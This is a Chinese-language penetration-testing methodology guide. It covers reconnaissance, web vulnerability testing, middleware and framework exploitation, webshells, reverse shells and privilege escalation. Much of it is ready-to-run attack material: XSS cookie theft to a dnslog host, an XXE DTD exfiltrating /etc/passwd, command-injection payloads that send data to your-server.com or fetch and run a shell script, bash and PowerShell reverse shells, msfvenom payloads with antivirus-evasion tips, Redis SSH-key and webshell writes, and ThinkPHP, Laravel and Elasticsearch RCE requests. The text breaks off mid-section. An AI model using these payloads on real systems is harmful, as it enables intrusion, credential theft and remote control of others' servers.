- 渗透测试标准流程工具流
- 1. 目标信息收集
- 1.1 域名信息
- whois 查询
- dnsdumpster.com
- subfinder
- httpx 存活检测
- oneforall
- 1.2 IP 与 C 段
- ping / nslookup
- masscan
- nmap
- 1.3 网站指纹识别
- whatweb(国内指纹识别就有点不推荐了)
- Wappalyzer(浏览器插件-浏览器商店就可以下载)
- 长歌二开雪瞳(浏览器插件-github搜索雪瞳就可以,而开的内容作者都更新了)
- FindSomething(浏览器插件-github搜索即可)
- daydayPOC(浏览器插件-dayday官网下载即可,插件token需要交漏洞poc的积分换取)
- 框架特定识别(使用指纹识别工具)
- 1.4 目录与文件扫描
- 御剑
- dirsearch
- gobuster(工具箱中没有kali中有)
- 1.5 企业信息收集工具
- enscan
- 1.6 资产测绘平台
- 2. 漏洞识别与分析
- 2.1 Web 应用漏洞
- SQL 注入(SQLi)
- XSS(跨站脚本)
- 文件上传漏洞
- XXE(XML外部实体注入)
- SSRF(服务器端请求伪造)
- CSRF(跨站请求伪造)
- 命令执行
- 逻辑漏洞
- 2.2 中间件与服务漏洞
- Tomcat
- WebLogic
- Redis
- Jenkins
- Elasticsearch
- 2.3 框架漏洞
- Struts2
- shiro
- FastJson
- ThinkPHP
- Laravel
- Spring Boot
- 3. 漏洞利用与权限获取
- 3.1 WebShell 管理
- 蚁剑
- 冰蝎
- 哥斯拉
- 3.2 反弹 Shell
- Linux 反弹 Shell
- Windows 反弹 Shell
- msfvenom 生成
- 3.3 提权
- Linux 提权
- Windows 提权
- 4. 内网渗透
- 4.1 代理搭建
- 常用工具对比
- Earthworm (EW) 使用
- FRP 使用
- 4.2 横向移动
- Impacket 工具集
- Pass the Hash
- Kerberos 票据传递
- 4.3 域渗透
- BloodHound 数据收集
- Kerberoasting
- Golden Ticket
- 5. 报告生成
- 6. 推荐插件汇总(Burp Suite)
- 7.集成工具推荐
渗透测试标准流程工具流
1. 目标信息收集
1.1 域名信息
基础概念:
- 域名信息收集是渗透测试的第一步,目的是了解目标的网络资产范围
- 子域名发现尤为重要,很多安全团队会忽略对子域名的防护
工具使用详解:
whois 查询
作用:查询域名注册信息,包括注册人、注册商、注册时间、过期时间、联系邮箱等
详细操作:
whois example.com
关键信息提取:
- 注册邮箱:可能用于社工或密码重置
- 注册商:判断是否使用隐私保护服务
- DNS 服务器:了解域名解析服务商
dnsdumpster.com
- 作用:在线子域名发现工具,无需安装,适合快速查询
- 详细操作:
- 访问 https://dnsdumpster.com/
- 输入目标域名(如 example.com)
- 点击”Search”按钮
- 查看结果中的”Subdomains”标签页
- 导出结果(点击”Download as CSV”按钮)
- 实用技巧:
- 关注”MX Records”可能发现邮件服务器
- “NS Records”可了解DNS服务器信息
- “Image Maps”可直观查看域名关联
subfinder
作用:自动化子域名扫描工具,支持多数据源
详细操作:
安装subfinder(Linux):
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
基本使用:
subfinder -d example.com -o subs.txt
高级使用(指定数据源):
subfinder -d example.com -sources certspotter,chaos,censys -o subs.txt
配置API密钥(提高查询限制):
- 编辑
~/.config/subfinder/config.yaml
- 添加各平台API密钥(如censys、chaos等)
- 编辑
httpx 存活检测
作用:批量检测子域名是否存活,过滤无效域名
详细操作:
httpx -l subs.txt -o alive.txt -status-code -title -tech-detect
参数说明:
-l
:指定输入文件-o
:指定输出文件-status-code
:显示HTTP状态码-title
:显示页面标题-tech-detect
:检测网站使用的技术
实用技巧:
- 添加
-mc 200,301,302
只保留指定状态码的响应 - 添加
-ports 80,443,8080,8443
扫描指定端口
- 添加
oneforall
作用:OneForAll是一款功能强大的子域收集工具
详细操作:
# 如果你是通过pip3安装的依赖则使用以下命令运行示例: python3 oneforall.py --target example.com run python3 oneforall.py --targets ./example.txt run
结果说明:
我们以
python3 oneforall.py --target example.com run
命令为例,OneForAll在默认参数正常执行完毕会在results目录生成相应结果:example.com.csv
是每个主域下的子域收集结果。all_subdomain_result_1583034493.csv
是每次运行OneForAll收集到子域的汇总结果,包含example.com.csv
,方便在批量收集场景中获取全部结果。result.sqlite3
是存放每次运行OneForAll收集到子域的SQLite3结果数据库,其数据库结构如下图:其中类似
example_com_origin_result
表存放每个模块最初子域收集结果。其中类似
example_com_resolve_result
表存放对子域进行解析后的结果。其中类似
example_com_last_result
表存放上一次子域收集结果(需要收集两次以上才会生成)。其中类似
example_com_now_result
表存放现在子域收集结果,一般情况关注这张表就可以了。
1.2 IP 与 C 段
基础概念:
- IP扫描是确定目标服务器开放端口和服务的过程
- C段指同一网段的IP范围(如192.168.1.0/24)
工具使用详解:
ping / nslookup
作用:验证域名解析和网络连通性
详细操作:
ping example.com nslookup example.com
实用技巧:
ping -c 4 example.com
:只发送4个ICMP请求nslookup -type=MX example.com
:查询邮件服务器记录
masscan
作用:快速端口扫描,适合大范围扫描
详细操作:
安装masscan(Linux):
git clone https://github.com/robertdavidgraham/masscan cd masscan make sudo cp bin/masscan /usr/local/bin/
基本使用:
masscan -p1-65535 192.168.1.1 --rate=1000 -oG masscan_results.txt
扫描C段:
masscan -p80,443,8080,8443 192.168.1.0/24 --rate=10000 -oG c_segment.txt
参数说明:
-p
:指定端口范围--rate
:设置发包速率(包/秒)-oG
:输出为grepable格式
安全提示:
- 高速率扫描可能触发IDS/IPS告警,商业测试中应降低速率
- 通常建议商业环境中使用1000-5000包/秒
nmap
作用:精准端口扫描和服务识别
详细操作:
基本扫描:
nmap -sV -sC -p 80,443,8080 192.168.1.1 -oA scan_results
深度扫描(谨慎使用):
nmap -sS -sV -sC -p- -T4 -A 192.168.1.1 -oA full_scan
参数详解:
-sS
:SYN扫描(半开扫描,较隐蔽)-sV
:探测服务版本-sC
:使用默认脚本扫描-p-
:扫描所有65535个端口-T4
:时间模板(0-5,数字越大越快)-A
:启用操作系统检测、版本检测、脚本扫描和traceroute-oA
:同时生成normal、xml和grepable格式输出
实用技巧:
- 扫描Web服务器:
nmap -sV --script=http-enum,http-vuln* -p 80,443 target.com
- 扫描数据库:
nmap -sV --script=mysql-info,redis-info -p 3306,6379 target.com
- 保存结果:
-oN normal.txt -oX xml.xml -oG grepable.txt
- 扫描Web服务器:
结果分析指南:
- 重点关注高危端口:22(SSH)、3306(MySQL)、6379(Redis)、5432(PostgreSQL)、9200(Elasticsearch)
- 特别关注非常规端口上的Web服务(如8080、8443、9000等)
- 记录服务版本,用于后续漏洞匹配
1.3 网站指纹识别
基础概念:
- 指纹识别是确定目标网站使用的技术栈(CMS、框架、语言等)
- 准确的指纹识别能大幅提高漏洞检测效率
工具使用详解:
whatweb(国内指纹识别就有点不推荐了)
作用:命令行网站指纹识别工具
详细操作:
whatweb example.com whatweb https://example.com --color=never --no-errors > fingerprint.txt
实用技巧:
- 批量扫描:
whatweb -i alive.txt
- 详细输出:
whatweb -v example.com
(显示详细匹配过程) - 识别插件:
whatweb -l plugins
(查看内置识别插件)
- 批量扫描:
Wappalyzer(浏览器插件-浏览器商店就可以下载)
- 作用:浏览器端实时识别网站技术栈
- 详细操作:
- 安装Wappalyzer插件(Chrome/Firefox)
- 访问目标网站
- 点击浏览器右上角Wappalyzer图标查看识别结果
- 实用技巧:
- 识别结果包括:CMS、Web服务器、JavaScript框架、分析工具等
- 右键点击图标可查看详细技术信息
长歌二开雪瞳(浏览器插件-github搜索雪瞳就可以,而开的内容作者都更新了)
- 作用:浏览器端实时识别网站技术栈
- 详细操作:
- 安装插件(Chrome/Firefox)
- 访问目标网站
- 点击浏览器右上角雪瞳图标查看识别结果
- 实用技巧:
- 识别结果包括:CMS、Web服务器、JavaScript框架、分析工具等
- 右键点击图标可查看详细技术信息
- 识别分析其中js泄露的api路径和敏感信息
FindSomething(浏览器插件-github搜索即可)
- 作用:浏览器端实时识别js文件泄露的信息
- 详细操作:
- 安装插件(Chrome/Firefox)
- 访问目标网站
- 点击浏览器右上角雪瞳图标查看识别结果
- 实用技巧:
- 识别分析其中js泄露的api路径和敏感信息
daydayPOC(浏览器插件-dayday官网下载即可,插件token需要交漏洞poc的积分换取)
- 作用:DayDayPoc指纹匹配插件是烽火台实验室开发的一款漏洞指纹匹配插件,可帮助用户检测访问的网站是否命中DayDayPoc的漏洞指纹。
- 详细操作:
- 安装DayDayPoc插件(Chrome/Firefox)
- 访问目标网站
- 点击浏览器右上角DayDayPoc图标查看识别结果
- 实用技巧:
- 识别结果包括:CMS、Web服务器、JavaScript框架、分析工具等
- 根据指纹匹配可能存在的漏洞(注:这是指纹哈,没有进行过检测的)
- 缺点:需要积分兑换key,所有poc需要积分兑换,积分不可充值只能以洞换分
框架特定识别(使用指纹识别工具)
- ThinkPHP识别:
- 访问
/index.php?s=/index/index
,查看是否返回”Module not found: index” - 或访问
/index.php?s=captcha
,查看是否返回验证码错误
- 访问
- Spring Boot识别:
- 访问
/actuator
,查看是否返回JSON格式的端点列表 - 标准ico图标
- 或检查响应头是否包含
X-Application-Context
- 访问
- Laravel识别:
- 访问
/index.php
,查看响应头是否有X-Powered-By: PHP/7.x
- 或访问
/readme.md
,查看是否返回Laravel文档
- 访问
1.4 目录与文件扫描
基础概念:
- 目录扫描是寻找隐藏路径、备份文件和敏感接口的过程
- 有效的目录扫描能发现常规测试难以发现的漏洞点
工具使用详解:
御剑
dirsearch
作用:多线程目录扫描工具
详细操作:
安装:
git clone https://github.com/maurosoria/dirsearch.git cd dirsearch
基本使用:
python3 dirsearch.py -u http://example.com -e php,html,js
高级使用:
python3 dirsearch.py -u http://example.com -w /path/to/wordlist.txt -t 50 -x 403,404 --random-agent
参数详解:
-u
:目标URL-e
:扩展名列表-w
:指定字典文件-t
:线程数(默认30)-x
:排除指定状态码--random-agent
:使用随机User-Agent-f
:强制添加斜杠(测试目录)
实用技巧:
- 使用
-r
参数递归扫描发现的目录 - 添加
-R 3
限制递归深度为3级 - 使用
-q
静默模式减少输出
- 使用
gobuster(工具箱中没有kali中有)
作用:快速目录扫描工具(Go语言编写)
详细操作:
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt -t 50 -x php,html,js
参数详解:
dir
:目录扫描模式-u
:目标URL-w
:字典文件-t
:线程数-x
:扩展名-k
:跳过SSL证书验证-s
:指定成功状态码(默认200,204,301,302,307,401,403,405)-e
:显示完整URL
推荐字典(kali自带字典):
- 基础字典:
/usr/share/wordlists/dirb/common.txt
- 大字典:
/usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
- 技术特定字典:
- PHP:
/usr/share/wordlists/seclists/Discovery/Web-Content/CMS/wordpress.txt
- Java:
/usr/share/wordlists/seclists/Discovery/Web-Content/CMS/java.txt
- PHP:
重点关注路径:
- 备份文件:
/backup.zip
,/backup.tar.gz
,/wwwroot.zip
- 配置文件:
/config.php
,/web.config
,/.env
- 管理后台:
/admin
,/manage
,/cms
,/backend
- API文档:
/api/v1/doc
,/swagger
,/v2/api-docs
- 敏感目录:
/.git
,/.svn
,/backup
,/test
1.5 企业信息收集工具
enscan
作用:快速收集公司备案的域名以及控股公司
详细操作
# 默认公司信息 (网站备案, 微博, 微信公众号, app) ./enscan -n 小米 # 批量查询( 文本按行分隔 可选PID模式) ./enscan -f f.txt # 对外投资占股100%的公司 ./enscan -n 小米 -invest 100 ...其他操作查看enscan文档https://github.com/wgpsec/ENScan_GO
1.6 资产测绘平台
作用:资产测绘平台可以快速检索互联网资产
操作:
点击打开网页按照测绘语句进行搜索
2. 漏洞识别与分析
使用burpsuite
2.1 Web 应用漏洞
SQL 注入(SQLi)
基础概念:
- SQL注入是通过操纵输入数据来改变后端SQL查询的攻击方式
- 类型:报错注入、布尔盲注、时间盲注、堆叠查询
Burp Suite 使用指南:
环境配置:
- 浏览器设置代理为
127.0.0.1:8080
- 访问 http://burpsuite/ 下载CA证书并安装
- 验证代理是否工作:访问任意网站,查看Burp Proxy → HTTP history
- 浏览器设置代理为
基本测试流程:
- 正常浏览目标网站,让Burp捕获请求
- 在Proxy history中找到疑似有参数的请求(如
/product.php?id=1
) - 右键 → “Send to Repeater”
- 在Repeater中:
- 原始请求:
id=1
- 测试1:
id=1'
(检查是否有SQL错误) - 测试2:
id=1' AND 1=1--
(检查页面是否正常) - 测试3:
id=1' AND 1=2--
(检查页面是否异常) - 测试4:
id=1' AND sleep(5)--
(检查是否有5秒延迟)
- 原始请求:
xiaSQL插件使用:
文件位置:tools\gui_other\burpsuite_pro\plugin\xia_sql-main
下载xiaSQL插件:https://github.com/0x727/xiaSQL
Burp → Extender → Add → 选择JAR文件
在Proxy或Repeater中右键 → xiaSQL → Scan
等待扫描完成,查看结果:
插件会自动识别注入类型
高亮显示风险参数
提供sqlmap命令直接利用
sqlmap高级使用:
从Burp导出请求:
在Proxy history中右键 → “Save items”
选择要保存的请求
使用sqlmap:
sqlmap -r request.txt --level=3 --risk=2 --batch
获取数据:
sqlmap -r request.txt --dbs # 列出数据库 sqlmap -r request.txt -D db_name --tables # 列出表 sqlmap -r request.txt -D db_name -T users --columns # 列出列 sqlmap -r request.txt -D db_name -T users -C username,password --dump # 导出数据
获取Shell:
sqlmap -r request.txt --os-shell
使用mingdong插件直接联动(将自己sqlmap的位置填写正确)
WAF绕过技巧:
- 空格替换:
id=1'/**/UNION/**/SELECT/**/1,2,3--
- 大小写混合:
id=1' UnIoN SeLeCt 1,2,3--
- 重写(双写)绕过
id=1 ununionion selselectect 1,2,3--
- 编码绕过:
- URL编码:
id=1%27%20UNION%20SELECT%201,2,3--
- 双重URL编码:
id=1%2527%2520UNION%2520SELECT%25201,2,3--
- URL编码:
- 注释符替换:
id=1'/*!50000UNION*//*!50000SELECT*/1,2,3--
- 等价函数绕过
- 特殊符号绕过
- 空格替换:
XSS(跨站脚本)
基础概念:
- XSS是通过注入恶意脚本到网页,当其他用户浏览时执行的漏洞
- 类型:反射型、存储型、DOM型
Burp Suite 深度使用指南:
基本测试流程:
找到所有输入点:URL参数、表单字段、HTTP头
尝试基础Payload:
<script>alert(1)</script> <img src=x onerror=alert(1)>
在Repeater中发送请求,观察响应是否包含Payload且执行
绕过技巧:
过滤
<script>
:<img src=x onerror=alert(1)> <body onload=alert(1)> <svg onload=alert(1)>
过滤括号:
javascript:alert`1`
过滤关键字:
aLeRt(1) al\u0065rt(1)
Burp联动xray:
安装Passive Scan Client插件(插件有兼容问题若是不能使用可设置上游代理或者使用明洞插件)
配置xray被动代理模式:
xray webscan --listen 127.0.0.1:9898 --html-output report.html
Burp中配置Passive Scan Client指向xray代理
正常浏览目标网站,xray会自动检测XSS等漏洞,(使用Passive Scan Client会自动转发流量,这里截图为明洞插件转发)
盲打XSS:
当无法直接看到执行结果时:
<img src=x onerror="fetch('https://your-dnslog.com/'+document.cookie)">
使用dnslog平台(如http://dnslog.cn)验证
文件上传漏洞
基础概念:
- 文件上传漏洞是通过上传恶意文件(如WebShell)到服务器的漏洞
- 常见绕过方式:修改Content-Type、扩展名绕过、图片马等
Burp Suite 深度使用指南:
基本测试流程:
- 找到文件上传功能
- 尝试上传普通图片(如1.jpg)
- 使用Burp拦截上传请求
- 修改文件名:
shell.php.jpg
→shell.jpg.php
- 修改Content-Type:
image/jpeg
→image/png
或text/php
mingdong插件使用:
下载mingdong插件(插件未开源但是有大佬破解了的)
Burp → Extender → Add → 选择JAR文件
上传文件时,插件会自动尝试多种绕过方式
查看插件结果,了解哪些后缀可上传(也可以自己使用字典去fuzz一下,我一般先自己用字典fuzz)
图片马制作:
# 创建图片马 copy 1.jpg/b + shell.php/a shell.jpg # Linux cat 1.jpg shell.php > shell.jpg
- 上传后访问
shell.jpg
,如果服务器解析PHP,可能执行
- 上传后访问
.htaccess利用(仅Apache):
上传内容为:
AddType application/x-httpd-php .jpg
文件名:
.htaccess
再上传shell.jpg,服务器会将其当作PHP执行
建议:
- 先测试简单后缀绕过(.php3、.phtml等)
- 尝试双写后缀:
shell.pphphp
- 测试00截断:
shell.php%00.jpg
- 测试路径截断:
shell.php.
- 上传后尝试多种访问方式:
- 直接访问:
/uploads/shell.jpg
- 通过参数:
/view.php?file=shell.jpg
- 直接访问:
XXE(XML外部实体注入)
基础概念:
- XXE是通过操纵XML解析器来读取服务器本地文件或进行SSRF攻击的漏洞
- 常见于处理XML输入的Web应用(如SOAP、SAML、RSS等)
- 类型:文件读取、SSRF、拒绝服务
Burp Suite 深度使用指南:
识别测试点:
- 查找XML数据交互点:
- API接口(特别是SOAP、RESTful XML)
- 文件上传功能(如Office文档上传)
- SAML身份验证
- 检查Content-Type是否为
application/xml
或text/xml
- 查找XML数据交互点:
基础测试流程:
拦截XML请求,修改内容:
# linux <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <data>&xxe;</data> </root> # windows <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <a>&xxe;</a>
观察响应是否包含
/etc/passwd
内容使用Burp Repeater发送修改后的请求
DNS外带测试(无回显XXE):
创建外部DTD文件(如http://your-server.com/evil.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://your-dnslog.com/?file=%file;'>"> %all;
XML请求
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://your-server.com/evil.dtd"> %dtd; ]> <root></root>
使用dnslog平台验证
绕过技巧:
过滤SYSTEM
<!ENTITY xxe PUBLIC "public" "file:///etc/passwd">
过滤file://
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
使用编码:
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd">
使用其他协议:
<!ENTITY xxe SYSTEM "expect://id">
SSRF(服务器端请求伪造)
基础概念:
- SSRF是让服务器发起任意请求的漏洞
- 常见于URL预览、图片下载、API调用等功能
- 危害:内网探测、读取本地文件、与其它漏洞组合利用
*Burp Suite *:
识别测试点:
- 查找参数包含URL的请求:
?url=http://example.com
?image_url=...
?api=http://...
- 检查文档转换、网页截图等功能
- 查找参数包含URL的请求:
基础测试流程:
修改URL参数为内网地址:
?url=http://127.0.0.1:8080 ?url=http://169.254.169.254/latest/meta-data/ # AWS元数据
观察响应是否包含内网服务信息
使用Burp Intruder批量测试常见内网IP:
127.0.0.1 192.168.0.1 10.0.0.1 172.16.0.1
协议测试:
文件协议:
?url=file:///etc/passwd ?url=file://C:/Windows/system.ini
其他协议:
?url=gopher://127.0.0.1:6379/_*1%0D%0A$8%0D%0Aflushall%0D%0A ?url=dict://127.0.0.1:11211/info
绕过技巧:
IP编码绕过:
http://2130706433/ # 127.0.0.1的十进制 http://0x7f000001/ # 127.0.0.1的十六进制 http://127.1/ # 简写形式
协议绕过:
http://127.0.0.1#.attacker.com http://127.0.0.1:80%23@attacker.com
CSRF(跨站请求伪造)
基础概念:
- CSRF是利用用户身份执行非预期操作的漏洞
- 与XSS不同,CSRF不需要注入脚本,而是利用用户已认证状态
- 危害:修改密码、转账、权限变更等
Burp Suite 深度使用指南:
识别测试点:
- 查找修改状态的请求(POST/GET):
- 密码修改
- 邮箱更改
- 订单提交
- 权限设置
- 检查请求是否缺少CSRF Token
- 查找修改状态的请求(POST/GET):
基础测试流程:
复制修改请求(如密码修改)
在新浏览器窗口(未登录状态)中发送
若请求成功,可能存在CSRF
创建HTML POC:
<html> <body> <form action="http://target.com/change_password" method="POST"> <input type="hidden" name="new_password" value="hacked" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
在受害者浏览器中打开,观察是否修改成功
Burp插件:CSRF PoC Generator
自动分析请求生成CSRF POC
支持GET/POST方法
可嵌入图片、iframe等隐蔽载体
命令执行
基础概念:
- 命令执行漏洞是通过输入恶意命令到系统shell导致的漏洞
- 常见于ping、traceroute等功能
Burp Suite 深度使用指南:
基本测试流程:
找到命令执行功能(如ping工具)
尝试基础Payload:
127.0.0.1; whoami 127.0.0.1 | whoami 127.0.0.1 & whoami
观察响应是否包含命令执行结果
无回显命令执行:
使用DNS外带:
127.0.0.1; nslookup $(whoami).your-dnslog.com
使用HTTP外带:
127.0.0.1; curl http://your-server.com/log?cmd=$(whoami)
高级Payload:
反弹Shell:
127.0.0.1; bash -i >& /dev/tcp/your-ip/4444 0>&1
下载执行:
127.0.0.1; wget http://your-server.com/shell.sh -O /tmp/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh
其他payload可以从tscan等工具获取
逻辑漏洞
基础概念:
- 逻辑漏洞是由于业务流程设计缺陷导致的漏洞
- 常见类型:越权访问、密码重置缺陷、支付逻辑漏洞
Burp Suite 深度使用指南:
- 越权测试流程:
- 使用两个不同权限账号登录(如普通用户A和B)
- A访问自己的资源(如
/user/profile?uid=1001
) - 在Repeater中修改uid=1002,查看能否访问B的资料
- 使用Intruder批量测试ID:
/user/profile?uid=§1001§
- Autorize插件使用(只做辅助,说实话不好用):
- 下载Autorize插件:https://github.com/PortSwigger/autorize
- Burp → Extender → Add → 选择JAR文件
- 登录高权限账号(如管理员)
- 发起一个普通用户才能访问的请求
- 右键 → Autorize → Test as User [低权限账号]
- 插件自动比较响应,判断是否存在越权
- 密码重置测试:
- 请求密码重置,拦截请求
- 修改email参数为自己邮箱
- 或修改token参数为其他用户token
- 观察是否能重置他人密码
- 支付逻辑测试:
- 抓取支付请求
- 修改amount参数:
"amount":0.01
→"amount":0.00
- 或修改商品ID指向高价值商品
- 观察支付是否成功
- 越权逻辑测试:
- 抓取查询信息请求
- 修改手机号码或id值为替他人的
- 观察是否成功查询到别人信息
2.2 中间件与服务漏洞
Tomcat
详细检测流程:
- 访问
/manager/html
,查看是否弹出登录框 - 尝试默认凭证:
- tomcat:tomcat
- admin:admin
- admin:password
- manager:s3cret
- 使用Burp Intruder批量测试
- 若登录成功:
- 上传WAR包获取Shell
- 使用msf模块:
use exploit/multi/http/tomcat_mgr_upload
- 生成WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=your-ip LPORT=4444 -f war > shell.war
- 访问
5.工具:tomcat利用工具(检测有限)
WebLogic
详细检测流程:
- 访问
/console
,查看是否跳转到管理界面 - 检测SSRF漏洞:
- 访问
/uddiexplorer/SearchPublicRegistries.jsp
- 尝试访问内网服务:
http://127.0.0.1:7001
- 访问
- 检测T3协议:
- 使用nmap:
nmap -sV -p 7001,8000,9001 target.com
- 使用T3扫描脚本:
python3 t3.py target.com 7001
- 使用nmap:
- CVE-2017-10271利用:
- 构造恶意XML payload
- 使用Goby一键检测利用
- 访问
5.工具:weblogic利用工具
Redis
详细检测流程:
检测开放端口:
redis-cli -h target.com ping
未授权访问:
直接连接:
redis-cli -h target.com
查看键:
KEYS *
写SSH公钥:
config set dir /root/.ssh config set dbfilename authorized_keys set xx "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAA... your-public-key\n\n\n" save
写WebShell:
config set dir /var/www/html config set dbfilename shell.php set webshell "<?php phpinfo(); ?>" save
4.工具:mdut连接利用、最新CVE-2025-32023需要得到相同版本的redis-server即可利用
Jenkins
详细检测流程:
访问
/script
,查看是否未授权访问未授权命令执行:
println "whoami".execute().text
使用Jenkins CLI:
java -jar jenkins-cli.jar -s http://target.com/ groovy = "println 'id'.execute().text"
4.工具:changge漏洞利用工具/Jenkins利用工具
Elasticsearch
详细检测流程:
检测未授权:
curl http://target.com:9200/_cat/indices
数据查询:
curl 'http://target.com:9200/_search?q=*&pretty'
CVE-2015-1427 RCE:
POST /_search { "size": 1, "script_fields": { "exploit": { "lang": "groovy", "script": "java.lang.Math.class.forName('java.lang.Runtime').getRuntime().exec('whoami').getText()" } } }
4.使用浏览器插件来连接es数据库查询数据(浏览器插件商店搜索即可)
2.3 框架漏洞
Struts2
详细检测流程:
识别Struts2:
- URL包含
.action
或.do
- 响应头包含
X-Powered-By: Struts
- URL包含
使用工具:
ABC123大佬的struts2漏洞利用工具
shiro
详细检测流程:
识别shiro:
- 检查Cookie中是否包含
rememberMe
字段(通常为AES加密的长字符串) - 访问任意页面,查看响应Cookie:
Set-Cookie: rememberMe=...
- 响应中可能包含
deleteMe
字段 - 登录页面可能有”记住我”选项
- 检查Cookie中是否包含
使用工具:
SummerSec、pyke大佬的ShiroExploit漏洞利用工具
FastJson
详细检测流程:
识别fastjson:
- 检查响应Content-Type是否为
application/json
- 观察JSON响应格式(Fastjson有特定序列化格式)
- 查看HTTP响应头是否有
X-Powered-By: fastjson
- 响应中可能包含
@type
字段 - 构造错误json格式数据观察相应包报错
- burp插件:fastjson-scan插件、明洞插件
- 检查响应Content-Type是否为
使用工具:
FastjsonExploit
JNDI-Injection-Exploit
ThinkPHP
详细检测流程:
识别ThinkPHP:
- 访问
/index.php?s=/index/index
,查看是否报错 - 访问
/index.php?s=captcha
,查看是否返回验证码
- 访问
5.0.23 RCE:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
5.1.30 RCE:
?s=index/\think\Request/input&filter=system&data=whoami
4.工具:nex121大佬的thinkphp利用工具、蓝莲的thinkphp利用框架
Laravel
详细检测流程:
识别Laravel:
- 响应头包含
X-Powered-By: PHP/7.x
- 访问
/index.php
,查看是否返回Laravel欢迎页面
- 响应头包含
debug模式检测:
- 访问
/_ignition/execute-solution
- 若返回JSON,说明debug模式开启
- 访问
命令执行:
POST /_ignition/execute-solution HTTP/1.1 {"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"whoami;","viewFile":"<?php system($_GET['cmd']); ?>"}}
Spring Boot
详细检测流程:
识别Spring Boot:
- 访问
/actuator
,查看是否返回端点列表 - 访问
/error
,查看是否返回JSON格式错误
- 访问
敏感端点检测:
/actuator/env
:查看环境变量(可能包含数据库密码)/actuator/heapdump
:下载JVM堆内存快照/actuator/trace
:查看请求跟踪
使用工具:
曾哥的springboot-scan:
python3 springboot-scan.py -u http://target.com
3. 漏洞利用与权限获取
3.1 WebShell 管理
基础概念:
- WebShell是通过Web漏洞上传的后门脚本,用于远程控制服务器
- 常见类型:一句话木马、大马、加密马
工具使用详解:
蚁剑
- 详细配置:
- 下载安装蚁剑:https://github.com/AntSword-Team/antSword
- 添加Shell:
- URL地址:
http://target.com/shell.php
- 密码:
cmd
(与一句话木马中的密码一致) - 编码器:选择合适的编码器(如php-system)
- URL地址:
- 常用功能:
- 文件管理:浏览、上传、下载、编辑文件
- 终端:执行系统命令
- 数据库:连接管理数据库
- 虚拟终端:类似Linux终端的操作界面
冰蝎
详细配置:
- 下载安装:https://github.com/rebeyond/Behinder
- 生成WebShell:
- 选择PHP/ASPX/JSP等类型
- 设置密码和密钥
- 添加Shell:
- URL:
http://target.com/shell.php
- 密码:设置的密码
- 加密方式:选择对应类型
- URL:
- 特点:
- 流量加密,不易被WAF检测
- 支持内存马
- 插件化功能扩展
哥斯拉
3.2 反弹 Shell
基础概念:
- 反弹Shell是让目标服务器主动连接攻击者的Shell
- 适用于无回显的命令执行漏洞
详细操作指南:
tscan直接copy
Linux 反弹 Shell
基本反弹:
bash -i >& /dev/tcp/your-ip/4444 0>&1
详细步骤:
攻击机监听:
nc -lvvp 4444
通过漏洞执行反弹命令
获得目标Shell
高级反弹(绕过过滤):
mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc your-ip 4444 1>/tmp/backpipe
Windows 反弹 Shell
PowerShell反弹:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('your-ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
详细步骤:
将上述命令保存为rev.ps1
攻击机启动HTTP服务:
python3 -m http.server 80
通过漏洞执行:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://your-ip/rev.ps1')"
攻击机监听:
nc -lvvp 4444
msfvenom 生成
Linux反弹:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=your-ip LPORT=4444 -f elf > shell.elf
Windows反弹:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=your-ip LPORT=4444 -f exe > shell.exe
免杀技巧:
- 编码:
-e x86/shikata_ga_nai -i 5
- 添加有效载荷:
-x template.exe
- 分段传输:使用分段下载执行
- 编码:
3.3 提权
基础概念:
- 提权是将当前权限提升到更高权限的过程
- Linux:从普通用户到root
- Windows:从普通用户到SYSTEM
详细操作指南:
Linux 提权
信息收集:
# 系统信息 uname -a cat /etc/issue cat /etc/*-release # 用户信息 id cat /etc/passwd cat /etc/shadow # 权限配置 sudo -l cat /etc/sudoers # SUID文件 find / -perm -u=s -type f 2>/dev/null # 计划任务 crontab -l ls -alh /etc/cron*
提权方法:
SUID提权:
查找可执行SUID的程序
如发现
/usr/bin/find
有SUID:find . -exec /bin/sh \; -quit
sudo提权:
检查
sudo -l
允许的命令如允许
sudo vim /etc/file
:sudo vim /etc/file :!sh
内核漏洞提权:
使用Linux Exploit Suggester:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh chmod +x linux-exploit-suggester.sh ./linux-exploit-suggester.sh
根据建议选择合适的exp编译执行
Windows 提权
信息收集:
# 系统信息 systeminfo # 用户信息 whoami /all net user net localgroup administrators # 补丁信息 wmic qfe get Caption,Description,HotFixID,InstalledOn # 服务权限 accesschk.exe -ucqv *
提权方法:
服务权限提权:
查找可修改的服务
使用accesschk:
accesschk.exe -ucqv * | findstr "SERVICE_ALL_ACCESS"
